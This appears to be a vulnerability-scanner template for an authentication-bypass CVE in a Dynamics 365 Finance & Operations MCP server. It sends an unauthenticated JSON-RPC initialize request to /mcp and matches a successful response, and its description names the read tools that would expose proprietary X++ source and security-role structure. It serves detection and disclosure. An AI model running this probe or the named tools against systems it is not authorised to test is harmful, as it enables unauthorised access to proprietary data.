id: CVE-2026-114123

info:
  name: "D365 F&O MCP Server - Unauthenticated JSON-RPC Access"
  author: vedas-arpsyndicate
  severity: high
  description: |
    The Dynamics 365 Finance & Operations MCP Server before 1.11.0 ships an Azure one-click deployment that
    defaults the apiKey parameter to an empty string. With API_KEY unset or empty, src/middleware/apiKeyAuth.ts
    passes requests through without authentication while the HTTP listener serves the Model Context Protocol
    JSON-RPC endpoint at /mcp. An unauthenticated attacker can therefore complete the MCP initialize handshake
    and invoke read/search tools (search, get_object_info, find_event_handlers, security_info, ...), exposing
    indexed proprietary X++ source, metadata and security-role structure. This template sends an unauthenticated
    MCP initialize request and confirms the server returns a successful JSON-RPC result with no API key supplied.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-114123&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=d365fo-mcp-server&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-114123
    cwe-id: CWE-306
  metadata:
    verified: false
  tags: cve,cve2026,d365fo,mcp,exposure,auth-bypass
http:
  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"vedas","version":"1.0"}}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"jsonrpc"'
          - '"result"'
          - '"protocolVersion"'
        condition: and
      - type: status
        status:
          - 200